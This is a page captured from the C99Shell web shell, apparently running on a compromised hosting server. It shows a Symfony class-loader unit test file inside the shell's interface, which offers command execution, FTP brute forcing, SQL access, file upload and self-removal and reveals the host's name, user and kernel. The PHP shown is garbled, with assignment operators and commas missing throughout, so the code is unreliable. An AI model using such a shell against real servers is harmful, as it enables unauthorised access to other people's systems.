!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/ClassLoader/Symfony/Component/ClassLoader/Tests/   drwxr-xr-x
Free 293.99 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ClassCollectionLoaderTest.php (8.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\ClassLoader\Tests;

use 
Symfony\Component\ClassLoader\ClassCollectionLoader;

require_once 
__DIR__.'/Fixtures/ClassesWithParents/GInterface.php';
require_once 
__DIR__.'/Fixtures/ClassesWithParents/CInterface.php';
require_once 
__DIR__.'/Fixtures/ClassesWithParents/B.php';
require_once 
__DIR__.'/Fixtures/ClassesWithParents/A.php';

class 
ClassCollectionLoaderTest extends \PHPUnit_Framework_TestCase
{
    public function 
testTraitDependencies()
    {
        if (
version_compare(phpversion(), '5.4''<')) {
            
$this->markTestSkipped('Requires PHP > 5.4');

            return;
        }

        require_once 
__DIR__.'/Fixtures/deps/traits.php';

        
$r = new \ReflectionClass('Symfony\Component\ClassLoader\ClassCollectionLoader');
        
$m $r->getMethod('getOrderedClasses');
        
$m->setAccessible(true);

        
$ordered $m->invoke('Symfony\Component\ClassLoader\ClassCollectionLoader', array('CTFoo'));

        
$this->assertEquals(
            array(
'TD''TC''TB''TA''TZ''CTFoo'),
            
array_map(function ($class) { return $class->getName(); }, $ordered)
        );

        
$ordered $m->invoke('Symfony\Component\ClassLoader\ClassCollectionLoader', array('CTBar'));

        
$this->assertEquals(
            array(
'TD''TZ''TC''TB''TA''CTBar'),
            
array_map(function ($class) { return $class->getName(); }, $ordered)
        );
    }

    
/**
     * @dataProvider getDifferentOrders
     */
    
public function testClassReordering(array $classes)
    {
        
$expected = array(
            
'ClassesWithParents\\GInterface',
            
'ClassesWithParents\\CInterface',
            
'ClassesWithParents\\B',
            
'ClassesWithParents\\A',
        );

        
$r = new \ReflectionClass('Symfony\Component\ClassLoader\ClassCollectionLoader');
        
$m $r->getMethod('getOrderedClasses');
        
$m->setAccessible(true);

        
$ordered $m->invoke('Symfony\Component\ClassLoader\ClassCollectionLoader'$classes);

        
$this->assertEquals($expectedarray_map(function ($class) { return $class->getName(); }, $ordered));
    }

    public function 
getDifferentOrders()
    {
        return array(
            array(array(
                
'ClassesWithParents\\A',
                
'ClassesWithParents\\CInterface',
                
'ClassesWithParents\\GInterface',
                
'ClassesWithParents\\B',
            )),
            array(array(
                
'ClassesWithParents\\B',
                
'ClassesWithParents\\A',
                
'ClassesWithParents\\CInterface',
            )),
            array(array(
                
'ClassesWithParents\\CInterface',
                
'ClassesWithParents\\B',
                
'ClassesWithParents\\A',
            )),
            array(array(
                
'ClassesWithParents\\A',
            )),
        );
    }

    
/**
     * @dataProvider getDifferentOrdersForTraits
     */
    
public function testClassWithTraitsReordering(array $classes)
    {
        if (
version_compare(phpversion(), '5.4''<')) {
            
$this->markTestSkipped('Requires PHP > 5.4');

            return;
        }

        require_once 
__DIR__.'/Fixtures/ClassesWithParents/ATrait.php';
        require_once 
__DIR__.'/Fixtures/ClassesWithParents/BTrait.php';
        require_once 
__DIR__.'/Fixtures/ClassesWithParents/CTrait.php';
        require_once 
__DIR__.'/Fixtures/ClassesWithParents/D.php';
        require_once 
__DIR__.'/Fixtures/ClassesWithParents/E.php';

        
$expected = array(
            
'ClassesWithParents\\GInterface',
            
'ClassesWithParents\\CInterface',
            
'ClassesWithParents\\ATrait',
            
'ClassesWithParents\\BTrait',
            
'ClassesWithParents\\CTrait',
            
'ClassesWithParents\\B',
            
'ClassesWithParents\\A',
            
'ClassesWithParents\\D',
            
'ClassesWithParents\\E',
        );

        
$r = new \ReflectionClass('Symfony\Component\ClassLoader\ClassCollectionLoader');
        
$m $r->getMethod('getOrderedClasses');
        
$m->setAccessible(true);

        
$ordered $m->invoke('Symfony\Component\ClassLoader\ClassCollectionLoader'$classes);

        
$this->assertEquals($expectedarray_map(function ($class) { return $class->getName(); }, $ordered));
    }

    public function 
getDifferentOrdersForTraits()
    {
        return array(
            array(array(
                
'ClassesWithParents\\E',
                
'ClassesWithParents\\ATrait',
            )),
            array(array(
                
'ClassesWithParents\\E',
            )),
        );
    }

    
/**
     * @dataProvider getFixNamespaceDeclarationsData
     */
    
public function testFixNamespaceDeclarations($source$expected)
    {
        
$this->assertEquals('<?php '.$expectedClassCollectionLoader::fixNamespaceDeclarations('<?php '.$source));
    }

    public function 
getFixNamespaceDeclarationsData()
    {
        return array(
            array(
"namespace;\nclass Foo {}\n""namespace\n{\nclass Foo {}\n}"),
            array(
"namespace Foo;\nclass Foo {}\n""namespace Foo\n{\nclass Foo {}\n}"),
            array(
"namespace   Bar ;\nclass Foo {}\n""namespace Bar\n{\nclass Foo {}\n}"),
            array(
"namespace Foo\Bar;\nclass Foo {}\n""namespace Foo\Bar\n{\nclass Foo {}\n}"),
            array(
"namespace Foo\Bar\Bar\n{\nclass Foo {}\n}\n""namespace Foo\Bar\Bar\n{\nclass Foo {}\n}"),
            array(
"namespace\n{\nclass Foo {}\n}\n""namespace\n{\nclass Foo {}\n}"),
        );
    }

    
/**
     * @dataProvider getFixNamespaceDeclarationsDataWithoutTokenizer
     */
    
public function testFixNamespaceDeclarationsWithoutTokenizer($source$expected)
    {
        
ClassCollectionLoader::enableTokenizer(false);
        
$this->assertEquals('<?php '.$expectedClassCollectionLoader::fixNamespaceDeclarations('<?php '.$source));
        
ClassCollectionLoader::enableTokenizer(true);
    }

    public function 
getFixNamespaceDeclarationsDataWithoutTokenizer()
    {
        return array(
            array(
"namespace;\nclass Foo {}\n""namespace\n{\nclass Foo {}\n}\n"),
            array(
"namespace Foo;\nclass Foo {}\n""namespace Foo\n{\nclass Foo {}\n}\n"),
            array(
"namespace   Bar ;\nclass Foo {}\n""namespace   Bar\n{\nclass Foo {}\n}\n"),
            array(
"namespace Foo\Bar;\nclass Foo {}\n""namespace Foo\Bar\n{\nclass Foo {}\n}\n"),
            array(
"namespace Foo\Bar\Bar\n{\nclass Foo {}\n}\n""namespace Foo\Bar\Bar\n{\nclass Foo {}\n}\n"),
            array(
"namespace\n{\nclass Foo {}\n}\n""namespace\n{\nclass Foo {}\n}\n"),
        );
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testUnableToLoadClassException()
    {
        if (
is_file($file sys_get_temp_dir().'/foo.php')) {
            
unlink($file);
        }

        
ClassCollectionLoader::load(array('SomeNotExistingClass'), sys_get_temp_dir(), 'foo'false);
    }

    public function 
testCommentStripping()
    {
        if (
is_file($file sys_get_temp_dir().'/bar.php')) {
            
unlink($file);
        }
        
spl_autoload_register($r = function ($class) {
            if (
=== strpos($class'Namespaced') || === strpos($class'Pearlike_')) {
                require_once 
__DIR__.'/Fixtures/'.str_replace(array('\\''_'), '/'$class).'.php';
            }
        });

        
ClassCollectionLoader::load(
            array(
'Namespaced\\WithComments''Pearlike_WithComments'),
            
sys_get_temp_dir(),
            
'bar',
            
false
        
);

        
spl_autoload_unregister($r);

        
$this->assertEquals(<<<EOF
namespace Namespaced
{
class WithComments
{
public static \$loaded = true;
}
\$string ='string shoult not be   modified {\$string}';
\$heredoc = (<<<HD


Heredoc should not be   modified {\$string}


HD
);
\$nowdoc =<<<'ND'


Nowdoc should not be   modified {\$string}


ND
;
}
namespace
{
class Pearlike_WithComments
{
public static \$loaded = true;
}
}
EOF
        , 
str_replace("<?php \n"''file_get_contents($file)));

        
unlink($file);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1004 ]--